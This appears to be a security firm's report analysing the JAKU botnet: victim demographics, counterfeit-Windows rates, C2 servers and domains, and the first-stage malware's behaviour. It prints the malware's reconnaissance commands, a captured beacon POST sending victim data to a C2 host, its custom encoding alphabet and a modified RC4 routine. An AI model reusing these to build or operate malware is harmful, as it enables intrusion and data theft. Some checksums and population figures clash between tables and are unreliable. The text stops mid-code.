ANALYSIS
OF A BOTNET
CAMPAIGN

Andy Settle, Bapadityya Dey
Nicholas Griffin, Abel Toro

FORCEPOINT
Security Labs

FORWARD WITHOUT FEAR
# TABLE OF CONTENTS

- Executive Summary ................................................................. 4
- Overview .................................................................................. 5
- Acknowledgements ................................................................... 5
- Technical Analysis ..................................................................... 6
  - Unique Victim Computer ......................................................... 6
  - Victims by Languages ............................................................... 6
  - Victims by Country ................................................................. 7
  - Victims per Time-zone ............................................................ 8
  - Victims by Network Provider .................................................. 9
  - Victims by Population ............................................................. 10
  - Counterfeit Windows Installations ........................................... 12
  - Malware Version Numbering ................................................... 12
  - Total Number of JAKU Victims ............................................... 13
  - C2 Servers Locations and Victims .......................................... 14
  - C2 Data Sets ........................................................................... 15
  - Total Number of JAKU Victims per C2 Server ....................... 16
  - Mapping Victim Locations ...................................................... 17
  - Americas and European Coverage ......................................... 18
  - Korean and Japanese Coverage .............................................. 19
  - Russian Coverage .................................................................. 20
- Static and Behavioural Analysis ................................................. 21
  - Malware Stage 1 – Poisoned Bit Torrent ................................... 21
    - Stage 1 Behaviour ................................................................. 21
    - Windows Update ................................................................. 21
    - Reconnaissance .................................................................... 21
    - Calling Home ....................................................................... 22
    - Awaiting Orders .................................................................. 22
  - Malware Stage 2 – Fake PNG Files ......................................... 23
    - Encryption Algorithm .......................................................... 23
    - Bad Crypto ........................................................................... 24
    - Compression Algorithm ....................................................... 24
  - Malware Stage 2 – R2D3 ........................................................... 25
    - Stealth Injection ................................................................... 25
    - AV Engine Detection ............................................................ 25
    - Service Installation .............................................................. 25
    - R2D2 .................................................................................... 25
    - R2D3 .................................................................................... 25
    - Winpcap ............................................................................... 28
    - Malware Configuration ......................................................... 29
  - Malware Stage 2 – C3PRO-RACCOON .................................... 30
    - C3PRO .................................................................................. 30
    - DNS Command Channel ...................................................... 32
  - Observations on C3PRO-RACCOON ..................................... 34

---

A page with technical analysis and tables detailing various aspects of a botnet campaign, including victim statistics, malware configuration, and static and behavioral analysis. The content is organized into sections for easy reference, with specific pages dedicated to each topic.
EXECUTIVE SUMMARY

JAKU is the name given to the investigation, surveillance and analysis, by the Forcepoint Special Investigations team, of an on-going botnet campaign.

Organised crime has been operating botnets for several years and the term itself has been in common parlance for over a decade. While JAKU may not answer all the questions regarding botnets, it does offer some insight and understanding into the inner workings of a botnet. JAKU also sheds some light onto the victims of botnets, why they are vulnerable, and possibly, why they are targeted.

What JAKU demonstrates is the re-use of Infrastructure, Tools, Techniques and Processes (TTPs), as well as the herding of victims into separate groupings; some indiscriminate and others highly targeted. Both the herding of general botnet victims and highly targeted attacks on individuals and organisations is hardly surprising. What is somewhat of a step change, however, is the execution of a number of concurrent operations within a campaign, using almost identical TTPs, to both herd thousands of victims into becoming botnet members while at the same time executing a targeted operation on a very small number of individuals.

This paper examines how the JAKU botnets are constructed and identifies their characteristics, and in the case of the targeted attacks, how they differ from the scattergun attacks of broader botnet activities. This study also highlights the consequences that Internet users who disregard copyrights and digital rights may face. Many may incur end-point security vulnerabilities that may not only leave them subject to attack, but also may allow their machines to be misused by adversaries, such as the JAKU botnet controllers, to execute information and identity theft.

Botnets are an easy form of resilient, redundant and highly pervasive attack infrastructures that are repeatedly deployed by major threat actors, such as organised crime-sponsored attackers and rogue states via their agencies. This resilience is strengthened by what appears to be the herding of victims into smaller bot-networks. This, to some degree at least, ensures that if the botnet is compromised then the remainder of the campaign is left to operate.

Finding, tracking and shutting down attack modes and methodologies with such capabilities can be a formidable task. No single organisation can do it alone. It requires the close collaboration and intelligence-sharing activities of both private organisations and government agencies.

Fortunately, even before the inception of this investigation in October of 2015, Forcepoint customers enjoyed protection from the threats presented by the malware discussed in this paper by TRITON® ACE.
OVERVIEW

The JAKU campaign has clear connections with the TTPs used by the threat actors discussed by Kaspersky in the DARKHOTEL investigations from November 2014. This paper recognises the extensive contributions by Kaspersky in this area and acknowledges their detailed work.

What was not in the public domain and has been identified as part of this investigation, are the following:

**Piracy.** The prevalence of users/victims who are running counterfeit installations of Microsoft Windows®, downloading ‘warez’ software and using BitTorrent software to illegally obtain these as well as other copyright protected material, such as movies and music.

**C2 Databases.** The use of SQLite files to collate and manage the botnet members, their structure and the use of version numbering.

**Poisoned BitTorrents.** The technique of threat actors deploying torrent files onto torrent sites that are pre-infected with malware has not been widely seen before, especially with respect to BitTorrent-types of attack. This behaviour is difficult to trace and track and is indiscriminate in its infection pattern unless it has some means of targeting desired demographics.

**Resilient C2 Channels.** Stage two of one piece of malware has three inbuilt Command and Control (C2) mechanisms. This level of resilience is not accidental, but rather, such investment and effort is usually indicative of the perceived value of the target.

ACKNOWLEDGEMENTS

Forcepoint would like to thank our colleagues at the UK National Crime Agency (NCA), CERT-UK, KrCERT/CC, Europol and Interpol for their cooperation and assistance in this investigation. Only with a truly interactive approach to collaborative intelligence collection, collation and analysis can we, as an industry, ensure that the Internet is a safe place to do business and conduct our personal lives.

Acknowledgement and thanks to our industry partners and peers who have offered their professional insight.

Thanks are due to the following individuals, without their contribution and guidance this document would not have been possible: Pierre Boisrond, David Andreas, Josh Douglas, Carl Leonard, Rajiv Motwani, Eunju Pak, Nigel Roberts, Brian Shirey, Boris Sieklik, Luke Stamp and John Underhill.
Unique Victim Computer. The JAKU servers allocate a unique ID (UID) to every victim. The system tracks victims by this UID and records the time that the victim ‘calls home’ to the botnet command and control server. Over the period from September 2015 to May 2016, in excess of 29,000 unique victims have been recorded by JAKU. However, the prevalence of duplicate entries in the telemetry data (See: SAPHARUS) suggests that a more realistic figure is closer to 19,000.

Victims by Languages. The system locale setting within a Windows computer is used to specify the language used when a programme does not understand Unicode characters. In effect, it is the language used by the operator of the computer.

The victims of the JAKU campaign are clearly clustered around the Japanese and Korean languages. Korean (43%) and Japanese (30%) make up over 73% of the victim machines, followed by English (13%) and Chinese (10%). The remaining 4% of victims are spread across 27 other languages.

<table>
<thead>
<tr>
<th>LANGUAGE</th>
<th>PERCENTAGE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Korean</td>
<td>43%</td>
</tr>
<tr>
<td>Japanese</td>
<td>30%</td>
</tr>
<tr>
<td>English</td>
<td>13%</td>
</tr>
<tr>
<td>Chinese</td>
<td>10%</td>
</tr>
<tr>
<td>French</td>
<td>1%</td>
</tr>
<tr>
<td>Polish</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Portuguese</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Spanish; Castilian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>German</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Italian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Turkish</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Arabic</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Romanian; Moldavian; Moldovan</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Hungarian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Croatian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Swedish</td>
<td>&lt;1%</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>LANGUAGE</th>
<th>PERCENTAGE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Serbian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Danish</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Thai</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Czech</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Russian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Lithuanian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Greek</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Norwegian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Hebrew</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Estonian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Finnish</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Macedonian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Persian</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Dutch; Flemish</td>
<td>&lt;1%</td>
</tr>
<tr>
<td>Slovenian</td>
<td>&lt;1%</td>
</tr>
</tbody>
</table>
Victims by Country. The JAKU campaign covers the majority of countries across the world, 134 at the last count. Between September 2015 and May 2016, there were an estimated 19,000 unique victims.

Over 87% of victim computers were in one of four countries: South Korea (42%), Japan (31%), China (8%) and the United States (6%). This distribution is consistent with the data from the system locale analysis.

<table>
<thead>
<tr>
<th>COUNTRY</th>
<th>PERCENTAGE</th>
</tr>
</thead>
<tbody>
<tr>
<td>KR</td>
<td>42%</td>
</tr>
<tr>
<td>JP</td>
<td>31%</td>
</tr>
<tr>
<td>CN</td>
<td>9%</td>
</tr>
<tr>
<td>US</td>
<td>6%</td>
</tr>
<tr>
<td>TW</td>
<td>2%</td>
</tr>
<tr>
<td>IN</td>
<td>1%</td>
</tr>
<tr>
<td>CA</td>
<td>1%</td>
</tr>
<tr>
<td>ID</td>
<td>1%</td>
</tr>
<tr>
<td>HK</td>
<td>1%</td>
</tr>
<tr>
<td>MA</td>
<td>1%</td>
</tr>
<tr>
<td>GB</td>
<td>1%</td>
</tr>
<tr>
<td>PH</td>
<td>1%</td>
</tr>
<tr>
<td>PL</td>
<td>1%</td>
</tr>
<tr>
<td>MY</td>
<td>1%</td>
</tr>
<tr>
<td>OTHERS</td>
<td>&lt;1%</td>
</tr>
</tbody>
</table>
Victims per Time-zone. Each of the victim machines has a time-zone setting for the geographic region the system is configured to operate in. The observed distribution of time-zone settings for the victim computers reinforces the bias towards Korea and Japan which both have time-zone offsets of +09:00 (Korea Standard Time, Tokyo Standard Time, and Yakutsk Standard Time) at over 69% of victims.

The only other major grouping of victims is the +08:00 time-zone (China Standard Time, Singapore Standard Time, Taipei Standard Time, West Australia Standard Time and North Asia East Standard Time) with 11% of all victims.
Victims by Network Provider. All IP addresses are controlled within groupings which are sometimes referred to as routing domains. These routing domains are identified by their Autonomous System Numbers (ASN). For the JAKU victims, there is a broad spread of victims across 1,555 ASNs. There is a clear bias on Korean, Japanese and Chinese providers:

<table>
<thead>
<tr>
<th>NETWORK PROVIDER</th>
<th>ASNs</th>
<th>COUNTY</th>
<th>PERCENTAGE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Korea Telecom</td>
<td>AS4766</td>
<td>Republic of Korea</td>
<td>14.91%</td>
</tr>
<tr>
<td>SK Broadband</td>
<td>AS9318</td>
<td>Republic of Korea</td>
<td>7.96%</td>
</tr>
<tr>
<td>LG Uplus Corp.</td>
<td>AS17858 (6.25%)</td>
<td>Republic of Korea</td>
<td>8.38%</td>
</tr>
<tr>
<td>LG Powercomm</td>
<td>AS3786 (2.13%)</td>
<td>Republic of Korea</td>
<td></td>
</tr>
<tr>
<td>NTT Communications Corporation</td>
<td>AS4713</td>
<td>Japan</td>
<td>6.54%</td>
</tr>
<tr>
<td>KDDI CORPORATION</td>
<td>AS2516</td>
<td>Japan</td>
<td>4.70%</td>
</tr>
<tr>
<td>Chinanet</td>
<td>AS4134</td>
<td>People’s Republic of China</td>
<td>3.73%</td>
</tr>
<tr>
<td>Softbank BB Corp.</td>
<td>AS17676</td>
<td>Japan</td>
<td>3.44%</td>
</tr>
<tr>
<td>OTHERS &lt; 2%</td>
<td>(1547)</td>
<td></td>
<td>50.34%</td>
</tr>
</tbody>
</table>

Corporate Victims. Amongst the JAKU victims, the number of corporate victims is significantly low. The proportion of victim computers that are a member of a Microsoft Windows domain rather than workgroups or as standalone systems is less than 1% of the total. This is calculated on just 153 unique victims matching the corporate criteria.

Dwell Time. The length of time a botnet victim is infected is referred to as the dwell time. For those identified as corporate victims, the mean dwell time is 93 days, with the maximum observed being 348 days.
Victims by Population. If the number of unique victims per country is factored against the population of the respective countries, a somewhat different picture emerges. Korea and Japan are still at the top of the target list, but Taiwan and Hong Kong rise, while the US and China drop. What is most striking is the clear bias toward South Korean victims:

Listed below are those countries with greater than one victim per million of population:

<table>
<thead>
<tr>
<th>Country</th>
<th>Victims</th>
<th>Country</th>
<th>Population 1</th>
<th>Victims/Million</th>
</tr>
</thead>
<tbody>
<tr>
<td>KR</td>
<td>7962</td>
<td>Korea, South</td>
<td>49115196</td>
<td>162.109</td>
</tr>
<tr>
<td>JP</td>
<td>5868</td>
<td>Japan</td>
<td>126919659</td>
<td>46.234</td>
</tr>
<tr>
<td>HK</td>
<td>220</td>
<td>Hong Kong</td>
<td>7141106</td>
<td>30.808</td>
</tr>
<tr>
<td>TW</td>
<td>321</td>
<td>Taiwan</td>
<td>23415126</td>
<td>13.709</td>
</tr>
<tr>
<td>SG</td>
<td>77</td>
<td>Singapore</td>
<td>5674472</td>
<td>13.57</td>
</tr>
<tr>
<td>MO</td>
<td>7</td>
<td>Macau</td>
<td>592731</td>
<td>11.81</td>
</tr>
<tr>
<td>CA</td>
<td>238</td>
<td>Canada</td>
<td>35099836</td>
<td>6.781</td>
</tr>
<tr>
<td>RS</td>
<td>44</td>
<td>Serbia</td>
<td>7176794</td>
<td>6.131</td>
</tr>
<tr>
<td>MA</td>
<td>159</td>
<td>Morocco</td>
<td>33322699</td>
<td>4.772</td>
</tr>
<tr>
<td>NZ</td>
<td>21</td>
<td>New Zealand</td>
<td>4438393</td>
<td>4.731</td>
</tr>
<tr>
<td>AU</td>
<td>90</td>
<td>Australia</td>
<td>22751014</td>
<td>3.956</td>
</tr>
</tbody>
</table>

1 CIA World Fact Book 2015
<table>
<thead>
<tr>
<th>Country</th>
<th>Victims</th>
<th>Country</th>
<th>Population</th>
<th>Victims/Million</th>
</tr>
</thead>
<tbody>
<tr>
<td>US</td>
<td>1149</td>
<td>United States</td>
<td>321368864</td>
<td>3.575</td>
</tr>
<tr>
<td>LT</td>
<td>10</td>
<td>Lithuania</td>
<td>2884433</td>
<td>3.467</td>
</tr>
<tr>
<td>MY</td>
<td>98</td>
<td>Malaysia</td>
<td>3051384</td>
<td>3.212</td>
</tr>
<tr>
<td>AE</td>
<td>18</td>
<td>United Arab Emirates</td>
<td>5779760</td>
<td>3.114</td>
</tr>
<tr>
<td>NL</td>
<td>52</td>
<td>Netherlands</td>
<td>1694790</td>
<td>3.068</td>
</tr>
<tr>
<td>RO</td>
<td>63</td>
<td>Romania</td>
<td>2166635</td>
<td>2.908</td>
</tr>
<tr>
<td>KW</td>
<td>8</td>
<td>Kuwait</td>
<td>2788534</td>
<td>2.869</td>
</tr>
<tr>
<td>IE</td>
<td>14</td>
<td>Ireland</td>
<td>4892305</td>
<td>2.862</td>
</tr>
<tr>
<td>PL</td>
<td>99</td>
<td>Poland</td>
<td>3856219</td>
<td>2.567</td>
</tr>
<tr>
<td>MK</td>
<td>5</td>
<td>Macedonia</td>
<td>2096015</td>
<td>2.385</td>
</tr>
<tr>
<td>SE</td>
<td>23</td>
<td>Sweden</td>
<td>9801616</td>
<td>2.347</td>
</tr>
<tr>
<td>QA</td>
<td>5</td>
<td>Qatar</td>
<td>2194817</td>
<td>2.278</td>
</tr>
<tr>
<td>GB</td>
<td>134</td>
<td>United Kingdom</td>
<td>6408222</td>
<td>2.091</td>
</tr>
<tr>
<td>PT</td>
<td>22</td>
<td>Portugal</td>
<td>1082530</td>
<td>2.032</td>
</tr>
<tr>
<td>HR</td>
<td>9</td>
<td>Croatia</td>
<td>4464844</td>
<td>2.016</td>
</tr>
<tr>
<td>GR</td>
<td>20</td>
<td>Greece</td>
<td>1077564</td>
<td>1.856</td>
</tr>
<tr>
<td>BA</td>
<td>7</td>
<td>Bosnia and Herzegovina</td>
<td>3867055</td>
<td>1.81</td>
</tr>
<tr>
<td>PS</td>
<td>5</td>
<td>West Bank</td>
<td>2785366</td>
<td>1.795</td>
</tr>
<tr>
<td>DK</td>
<td>10</td>
<td>Denmark</td>
<td>5581503</td>
<td>1.792</td>
</tr>
<tr>
<td>AT</td>
<td>15</td>
<td>Austria</td>
<td>8665550</td>
<td>1.731</td>
</tr>
<tr>
<td>NO</td>
<td>9</td>
<td>Norway</td>
<td>5207689</td>
<td>1.728</td>
</tr>
<tr>
<td>AL</td>
<td>5</td>
<td>Albania</td>
<td>3029278</td>
<td>1.651</td>
</tr>
<tr>
<td>TH</td>
<td>94</td>
<td>Thailand</td>
<td>6797640</td>
<td>1.383</td>
</tr>
<tr>
<td>SA</td>
<td>38</td>
<td>Saudi Arabia</td>
<td>2775231</td>
<td>1.369</td>
</tr>
<tr>
<td>IL</td>
<td>11</td>
<td>Israel</td>
<td>8049314</td>
<td>1.367</td>
</tr>
<tr>
<td>HU</td>
<td>13</td>
<td>Hungary</td>
<td>9897541</td>
<td>1.313</td>
</tr>
<tr>
<td>CN</td>
<td>1604</td>
<td>China</td>
<td>1367485</td>
<td>1.173</td>
</tr>
<tr>
<td>FR</td>
<td>78</td>
<td>France</td>
<td>6655376</td>
<td>1.172</td>
</tr>
<tr>
<td>PH</td>
<td>112</td>
<td>Philippines</td>
<td>1009983</td>
<td>1.109</td>
</tr>
<tr>
<td>CZ</td>
<td>11</td>
<td>Czech Republic</td>
<td>1064484</td>
<td>1.033</td>
</tr>
</tbody>
</table>
Counterfeit Windows Installations. When an Original Equipment Manufacturer (OEM) installs Microsoft Windows onto a new computer, they use what is known as an OEM product ID (PID). These PIDs can be identified from retail ones as they contain the text, “OEM”. In cases where Windows reports that the 'model' of the computer is ‘To be filled by O.E.M.’ and the PID contains OEM, it indicates with some reasonable certainty that an OEM product license has been used on non-OEM hardware. In other words, the system is running a counterfeit Microsoft Windows license.

With this in mind, the total number of OEM PIDs identified is 12,243. The number of them that appear to be counterfeit is 6,366. For OEM licenses, this indicates that 52% are likely to be counterfeits. It’s reasonable to assume that this ratio can be used to infer the prevalence of counterfeits across all the JAKU victims, i.e. including those with retail PIDs.

The likelihood that 52% of computers are actually running counterfeit copies of Microsoft Windows warrants further attention. According to the IDC study, “Unlicensed Software and Cybersecurity Threats” (2015)²: “…a clear link between unlicensed software and cybersecurity threats... For enterprises, governments, and consumers, the obvious implication is that one way to lower cybersecurity risks is to reduce the use of unlicensed software.” However, the evidence from JAKU paints a clearer picture: Whereas enterprise and like-sized organizations may well be operating correctly with the licensing of software, there are a sizable number of other businesses and organizations that are not.

Within the large number of JAKU victim computers, 75% of Korean machines appear to be running counterfeit Windows; for Japan this figure is 25%. Both these percentages are twice the figure stated in the IDC report, which states that Korea has a piracy rate of 38% and Japan 12%. Not surprisingly, the country with the largest percentage of JAKU victims is China, with 85% of computers being suspected of using counterfeit PIDs. This is even worse than the estimated 74% of machines in China suspected of running counterfeit Windows in the IDC report.

Malware Version Numbering. During analysis of the malware and the C2 data sets, a version numbering scheme was identified: within the C2 data sets, almost 60 unique version numbers were present. However, for the actual malware artefacts found, only seven unique version numbers were found:

<table>
<thead>
<tr>
<th>VERSION</th>
<th>FILE CHECKSUM</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>d2f372ace971267c28916ae4cb732aa105fc3b9</td>
</tr>
<tr>
<td>12</td>
<td>6b5ca84806966db8a8fc4ab4f84974f140a516a7</td>
</tr>
<tr>
<td>22</td>
<td>b305b998d44a319295f66785236735a00996aa36</td>
</tr>
<tr>
<td>31</td>
<td>1e1a440ae29d400afa951ed000b4e8010683892f</td>
</tr>
<tr>
<td>101</td>
<td>REDACTED</td>
</tr>
<tr>
<td>140</td>
<td>407cff590a4492f375dc0e9fb41fd7705a482d03</td>
</tr>
<tr>
<td>402</td>
<td>8feb968a996cdbebe27cf7dfaf1a51be15e7a3a</td>
</tr>
</tbody>
</table>

Total Number of JAKU Victims. Over time, the total number of victims has been seen to fluctuate, as victims come and go. But so, too, do the C2 servers for JAKU. Whole sections of the JAKU victim sets go offline because their C2 server has also disappeared. Because the malware used has hard-coded domain names and not IP addresses, the C2 servers can come back on-line with a new IP address and catch up on their existing victims. Why these servers go offline is not always clear. However, it has certainly been observed on at least one occasion that a JAKU server had been compromised by what appeared to be another threat actor wishing to use the server for credit card fraud. This situation, however, did not continue for more than a few days.
C2 Servers Locations and Victims. The JAKU Command and Control (C2) servers have been identified as being located in Malaysia, Thailand and Singapore:

<table>
<thead>
<tr>
<th>C2</th>
<th>IP</th>
<th>ASN</th>
<th>VICTIMS</th>
</tr>
</thead>
<tbody>
<tr>
<td>BLACK-SAPPHARUS</td>
<td>101.99.68.5</td>
<td>AS45839 PIRADIUS NET</td>
<td>5153</td>
</tr>
<tr>
<td>BLUE-MONKEY</td>
<td>43.252.36.195</td>
<td>AS45144 Net Onboard Sdn Bhd - Quality &amp; Reliable Cloud Hosting Provider</td>
<td>3925</td>
</tr>
<tr>
<td>BROWN-COOPER</td>
<td>103.13.229.20</td>
<td>AS23884 Proimage Engineering and Communication Co., Ltd.</td>
<td>1184</td>
</tr>
<tr>
<td>GREEN-SOUNDFIX</td>
<td>27.254.44.207</td>
<td>AS9891 CS LOXINFO Public Company Limited.</td>
<td>327</td>
</tr>
<tr>
<td>GREY-THAI</td>
<td>202.142.223.144</td>
<td>AS7654 Internet Solution &amp; Service Provider Co., Ltd.</td>
<td>3005</td>
</tr>
<tr>
<td>ORANGE-HOWL</td>
<td>27.254.96.222</td>
<td>AS9891 CS LOXINFO Public Company Limited.</td>
<td>4204</td>
</tr>
<tr>
<td>PINK-COW</td>
<td>27.254.55.23</td>
<td>AS9891 CS LOXINFO Public Company Limited.</td>
<td>2242</td>
</tr>
<tr>
<td>RED-RACCOON</td>
<td></td>
<td></td>
<td>17</td>
</tr>
<tr>
<td>VIOLET-FOX</td>
<td>27.254.96.223</td>
<td>AS9891 CS LOXINFO Public Company Limited.</td>
<td>1187</td>
</tr>
<tr>
<td>YELLOW-BOA</td>
<td>202.150.220.93</td>
<td>AS38001 NewMedia Express Pte Ltd. Singapore Web Hosting Service Provider</td>
<td>3236</td>
</tr>
</tbody>
</table>
**C2 Data Sets.** The term ‘Data Sets’ is a reference to the JAKU Command and Control (C2) data held in the SQLite databases by each of the active C2 servers. Each IP address identified has a separate Data Set of victims. The following datasets have been identified, observed and analysed.

<table>
<thead>
<tr>
<th>NICKNAME</th>
<th>KNOWN SAMPLE SHA1 (VERSION)</th>
<th>HARD-CODED C2 NAMEs</th>
</tr>
</thead>
</table>
| BLACK-SAPHARUS | b305b998d44a319295f66785236735a00996aa36 (22) | winchk.bbsindex.com  
browny.ddns.net  
sweetbrowny.mooo.com  
cometome.yourtrap.com |
| BLUE-MONKEY    | UNKNOWN                      | UNKNOWN                                                                              |
| BROWN-COOPER   | UNKNOWN                      | bbsbox.strangled.net  
minicooper.strangled.net                                                              |
| GREEN-SOUNDFIX | 5d2f372ace971267c28916ae4cb732aa105fc3b9 (11)  
6b5ca84806966db8a8fc4ab4f84974f140a516a7 (12) | torrent.gotgeeks.com  
torrentfiles.ddns.net  
movieadd.mooo.com  
torrent3.bbsindex.com  
torrent.gotgeeks.com  
torrentfiles.ddns.net  
movieadd.mooo.com  
torrent3.bbsindex.com |
| ORANGE-HOWL    | 8feb968a996cdebebe27cf7dabf1a51be15e7a3a (402) | file2.strangled.net  
blog3.serveblog.net  
torent.dnsd.info  
dns53.ignorelist.com  
www.bbsupdates.comxa.com |
| VIOLET-FOX     | UNKNOWN                      | UNKNOWN                                                                              |
| GREY-THAI      | 407cff590a4492f375dc0e9fb41fd7705a482d03 (140) | torrent.dtdns.net  
decrypt.dtdns.info  
decrypt.info.tm  
torrent.serveblog.net  
decrypt.effers.com |
| YELLOW-BOA     | 1e1a440ae29d400afa951ed000b4e8010683892f (31) | boardchk.strangled.net  
minicooper.ddns.com  
minicooper.chickenkiller.com  
cutemini.sexidude.com |
| RED-RACCOON    |                             | REMOVED                                                                              |
| PINK-COW       | UNKNOWN                      | UNKNOWN                                                                              |
Total Number of JAKU Victims per C2 Server. Far more complex figures appear when the number of victims are clustered into their Command and Control (C2) servers and monitored over time. Gaps, such as those illustrated by SAPHARUS, are due to infrastructure problems and servers going offline. Others, such as the YELLOW-BOA disappearance, are far more complex and are possibly due to servers having a take-down notice applied to them by law enforcement.
Mapping Victim Locations. By using IP to geo-location database services, it’s possible to plot the location of the JAKU victim machines:
Americas and European Coverage. North America and Europe feature significant coverage, but South America and Africa only have limited coverage:
Korean and Japanese Coverage. The predominance of JAKU victim machines being located in South Korea and Japan is clearly illustrated:
Russian Coverage
STATIC AND BEHAVIOURAL ANALYSIS

MALWARE STAGE 1 – POISONED BIT TORRENT

<table>
<thead>
<tr>
<th>Name</th>
<th>Services.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>Origin</td>
<td>Dropped by SoundFix.exe (from poisoned movie and TV torrents)</td>
</tr>
<tr>
<td>C2 Server</td>
<td>SOUNDFIX</td>
</tr>
<tr>
<td>Version</td>
<td>11</td>
</tr>
</tbody>
</table>

Stage 1 Behaviour. Check HKCU\CLSID for a default value entry that contains a GUID. This entry is only present if the malware has already generated and added it to the registry. On first run, this registry value will not be present. If the value already existed, it uses the existing GUID. Otherwise, if HKCU\CLSID does not exist, it generates a new, unique GUID using the CoCreateGUID Windows API. This is then saved under HKCU\CLSID under the (default) value:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>(Default)</td>
<td>REG_SZ</td>
<td>{7268EA0S-E5AF-4A8C-B85D-2EE27C88E3E6}</td>
</tr>
<tr>
<td>System</td>
<td>REG_DWORD</td>
<td>0x0000000b (11)</td>
</tr>
<tr>
<td>WindowsUpdate</td>
<td>REG_DWORD</td>
<td>0x6668af11 (1449832385)</td>
</tr>
</tbody>
</table>

Windows Update. As shown in the picture above, the sample also creates two other registry values under the CLSID key. The first one, "System", holds the sample's version number; and the second one, "WindowsUpdate", contains the current system time.

Reconnaissance. The sample executes the following commands in order:

date /t
time /t
systeminfo
tasklist
dir "c:\Program Files\"
dir "c:\Program Files (x86)"
netstat -na
arp -a
dir "%s"
dir "%s"

Where "%s" is the directory of both the directory of the user’s bookmarks (favourites) and then the directory of the recently opened documents.
Calling Home. The sample then beacons to its C2 server, including sending the version number, private IP address, GUID and also the encoded system information if the previous registry entries did not already exist. If the registry entries existed already, then only the sample’s version number, the GUID and the private IP address are sent. An example of this communication including the system information (&if=) can be seen below:

```
POST http://movieadd.mooo.com/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0
Host: movieadd.mooo.com
Content-Length: 15442
Connection: Keep-Alive
Pragma: no-cache

uid={22CFF683-D866-48AE-9792-073002A23557}&v=11&pi=16843009,&if=
upOt8M0b5yPI#9vkUpqm2YaqUMLe5dLa8dOoUduaUMPlxCbk8Cv3UcAB#9En@9za8x5ezaA00cAgUMLa5pBt5YAnU1An#xRH
ywzyPnzCBcUMPnzy5w4dkld4aTxfaLMA3#p3bUYA0Ue@34Mvk&pBnT0x041AnTCPtzCPJ#x3IzyvJj=sAn@xBJzCBnFcaI#x
0m29EQ@xkKxrKUe@34Mvk&pBnTx0t4nAdU0V99AaTwq52dEwUsfazBAI@xBm@sAkUdEI5x3yvyj8sAMUM0Wz80BuLv9sLg
8Ko4aUpfa5C3zyEo#dk3#MuaUC3t8sX12sW=
```

The system information is encoded with base64 using the custom alphabet:

```
XAY78BCyz012DEFSuvsKLPlx9@8TU4562abcVW3dejkGHIJtwQRlmpopa5fgh1N0qr
```

Awaiting Orders. The sample then checks the response to the above request from the server. If the server returns a payload, then the sample will attempt to decrypt and execute it as an executable, and then finish (terminate) execution of itself. The format of these payloads that the sample expects is a fake PNG that contains an encryption key, as documented in the next section. Upon further analysis, the malware has no capability of understanding or executing anything other than this format. If no payload is received, the malware will finish (terminate) execution immediately.
MALWARE STAGE 2 – FAKE PNG FILES

Not only is the C2 telemetry data held in a file that purports to be a JPEG image file, but the 1st stage malware itself attempts to download and decrypt the 2nd stage in a file that upon first glance appears to be a graphical image. The downloaded file, when examined look like a PNG image file, the headers even conform to the PNG file format:

```
$ file 96982dd123c0669e3bad92d9d462733f
96982dd123c0669e3bad92d9d462733f: PNG image data, 997393152 x 167848821, 152-bit
```

These 2nd stage files were reverse engineered and were found to contain data generated by modified cryptographic and compression algorithms. Subsequently, Forcepoint created a command line utility to decrypt and decompress these fake PNG files.

Encryption Algorithm. The encryption algorithm used is a modified RC4 implementation. The file analysed here was one of the 1st stage info stealers (SHA1: 5d2f372ace971267c28916ae4cb732aa105fc3b9). A modified RC4 routine was found at offset: 0x0041903C. Forcepoint re-coded this in C as:

```c
BOOL rc4(BYTE *buf, int bufsize, BYTE *modkey, int modkeylen)// 0x0041903C
{
    int i, x;
    byte g = 0;
    byte j = 0;
    unsigned char xorIndex;
    unsigned char tmp;
    char keydata[257];
    char state[257];

    if (modkey && modkeylen >= 1)
    {
        // Zero out the state and keydata
        memset(state, 0, sizeof(state));
        memset(keydata, 0, sizeof(keydata));

        // Initialize the state array with identity permutation (neutral)
        for (i = 0; i < 256; i++)
        {
            state[i] = i;
        }
        x = 0;

        // This is an addition included in the malware
        // it is an attempt to randomize the permutations in the state array with a modulation key array
        // But there is a mistake where it's only ever writing to state[2] instead of the
        // presumably intended state[i]. However, this still results in the permutations being modified
        // enough to change the rc4 cipher
        for (i = 0; i < 256; i++)
        {
            x = x % modkeylen;
            state[2] = modkey[x++];
            
        }

        // The permutations in the state array are now morphed/randomized
        for (i = 0; i < 256; i++)
        {
            // Morph the permutations using the key data (which is set to all zeros in this instance)
            g = (keydata[i] + state[i] + g);
            
            // swap some bytes
            tmp = state[i];
            state[i] = state[g];
            state[g] = tmp;
        }

        // process the input data
    }
}```
for (i = 0, g = 0, j = 0; i < bufsize; i++)
{
    // Adjust indices
    g = (g + 1);
    j = (state[g] + j);

